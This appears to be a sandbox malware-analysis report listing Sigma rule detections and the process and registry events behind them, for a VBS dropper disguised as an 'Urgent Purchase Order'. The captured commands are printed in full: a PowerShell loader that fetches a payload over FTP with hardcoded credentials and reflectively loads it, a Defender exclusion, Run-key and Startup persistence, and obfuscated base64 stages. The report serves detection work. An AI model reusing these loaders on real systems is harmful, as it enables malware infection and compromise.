                      Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: cmd.exe /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exit, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7192, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Update Drivers NVIDEO_ewz
                      Sigma detected: PowerShell Download Pattern
                      Source: Process startedAuthor: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$nqpmf = (New-Object Net.WebClient);$nqpmf.Encoding = [System.Text.Encoding]::UTF8;$nqpmf.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$zbxkl.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $zbxkl.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$zbxkl.dispose();$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $zbxkl.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.revres/segami/or.cuicrelotsanomis//:sptth' , $huUPX , 'D D1D' ) );};", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$nqpmf = (New-Object Net.WebClient);$nqpmf.Encoding = [System.Text.Encoding]::UTF8;$nqpmf.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net
                      Sigma detected: PowerShell Script Run in AppData
                      Source: Process startedAuthor: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exit, CommandLine: "C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exit, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exit, ProcessId: 7852, ProcessName: cmd.exe
                      Sigma detected: PowerShell Web Download
                      Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$nqpmf = (New-Object Net.WebClient);$nqpmf.Encoding = [System.Text.Encoding]::UTF8;$nqpmf.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$zbxkl.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $zbxkl.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$zbxkl.dispose();$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $zbxkl.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.revres/segami/or.cuicrelotsanomis//:sptth' , $huUPX , 'D D1D' ) );};", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$nqpmf = (New-Object Net.WebClient);$nqpmf.Encoding = [System.Text.Encoding]::UTF8;$nqpmf.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net
                      Sigma detected: Powershell Defender Exclusion
                      Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;, CommandLine: powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$nqpmf = (New-Object Net.WebClient);$nqpmf.Encoding = [System.Text.Encoding]::UTF8;$nqpmf.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$zbxkl.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $zbxkl.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$zbxkl.dispose();$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $zbxkl.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.revres/segami/or.cuicrelotsanomis//:sptth' , $huUPX , 'D D1D' ) );};", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3700, ParentProcessName: powershell.exe, ProcessCommandLine: powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;, ProcessId: 3744, ProcessName: powershell.exe
                      Sigma detected: Suspicious Copy From or To System Directory
                      Source: Process startedAuthor: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$nqpmf = (New-Object Net.WebClient);$nqpmf.Encoding = [System.Text.Encoding]::UTF8;$nqpmf.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$zbxkl.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $zbxkl.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$zbxkl.dispose();$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $zbxkl.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.revres/segami/or.cuicrelotsanomis//:sptth' , $huUPX , 'D D1D' ) );};", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$nqpmf = (New-Object Net.WebClient);$nqpmf.Encoding = [System.Text.Encoding]::UTF8;$nqpmf.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net
                      Sigma detected: Suspicious Powershell In Registry Run Keys
                      Source: Registry Key setAuthor: frack113, Florian Roth (Nextron Systems): Data: Details: cmd.exe /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exit, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7192, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Update Drivers NVIDEO_ewz
                      Sigma detected: Usage Of Web Request Commands And Cmdlets
                      Source: Process startedAuthor: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$nqpmf = (New-Object Net.WebClient);$nqpmf.Encoding = [System.Text.Encoding]::UTF8;$nqpmf.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$zbxkl.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $zbxkl.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$zbxkl.dispose();$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $zbxkl.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.revres/segami/or.cuicrelotsanomis//:sptth' , $huUPX , 'D D1D' ) );};", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$nqpmf = (New-Object Net.WebClient);$nqpmf.Encoding = [System.Text.Encoding]::UTF8;$nqpmf.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net
                      Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
                      Source: Process startedAuthor: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs", CommandLine|base64offset|contains: >, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs", ProcessId: 796, ProcessName: wscript.exe
                      Sigma detected: Local Accounts Discovery
                      Source: Process startedAuthor: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: cmd.exe /c mkdir "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\", CommandLine: cmd.exe /c mkdir "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$nqpmf = (New-Object Net.WebClient);$nqpmf.Encoding = [System.Text.Encoding]::UTF8;$nqpmf.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$zbxkl.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $zbxkl.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$zbxkl.dispose();$zbxkl = (New-Object Net.WebClient);$zbxkl.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $zbxkl.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.revres/segami/or.cuicrelotsanomis//:sptth' , $huUPX , 'D D1D' ) );};", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3700, ParentProcessName: powershell.exe, ProcessCommandLine: cmd.exe /c mkdir "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\", ProcessId: 4560, ProcessName: cmd.exe
                      Sigma detected: Non Interactive PowerShell Process Spawned
                      Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qKKzc = 'Ow' + [char]66 + '9ADsAKQAgACkAIAAnAEQAMQ' + [char]66 + 'EACAARAAnACAALAAgAFgAUA' + [char]66 + 'VAHUAaAAkACAALAAgACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHMAaQ' + [char]66 + 'tAG8Abg' + [char]66 + 'hAHMAdA' + [char]66 + 'vAGwAZQ' + [char]66 + 'yAGMAaQ' + [char]66 + '1AGMALg' + [char]66 + 'yAG8ALw' + [char]66 + 'pAG0AYQ' + [char]66 + 'nAGUAcwAvAHMAZQ' + [char]66 + 'yAHYAZQ' + [char]66 + 'yAC4AdA' + [char]66 + '4AHQAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJw' + [char]66 + 'JAFYARg' + [char]66 + 'yAHAAJwAgACgAZA' + [char]66 + 'vAGgAdA' + [char]66 + 'lAE0AdA' + [char]66 + 'lAEcALgApACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAKA' + [char]66 + 'lAHAAeQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HAC4AKQAgAFoAYw' + [char]66 + 'CAGMAYQAkACAAKA' + [char]66 + 'kAGEAbw' + [char]66 + 'MAC4Abg' + [char]66 + 'pAGEAbQ' + [char]66 + 'vAEQAdA' + [char]66 + 'uAGUAcg' + [char]66 + 'yAHUAQwA6ADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwApACAAKQAgACcAQQAnACAALAAgACcAkyE6AJMhJwAgACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAUgAuAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TADQANg' + [char]66 + 'lAHMAYQ' + [char]66 + 'CAG0Abw' + [char]66 + 'yAEYAOgA6AF0AdA' + [char]66 + 'yAGUAdg' + [char]66 + 'uAG8AQwAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAWg' + [char]66 + 'jAEIAYw' + [char]66 + 'hACQAIA' + [char]66 + 'dAF0AWw' + [char]66 + 'lAHQAeQ' + [char]66 + 'CAFsAOwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAgAD0AIA' + [char]66 + 'YAFAAVQ' + [char]66 + '1AGgAJAA7ACkAIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUw' + [char]66 + 'kAGEAbw' + [char]66 + 'sAG4Adw' + [char]66 + 'vAEQALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAAgAD0AIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ACkAKA' + [char]66 + 'lAHMAbw' + [char]66 + 'wAHMAaQ' + [char]66 + 'kAC4AbA' + [char]66 + 'rAHgAYg' + [char]66 + '6ACQAOwApACAAJw' + [char]66 + '0AHgAdAAuADEAMA' 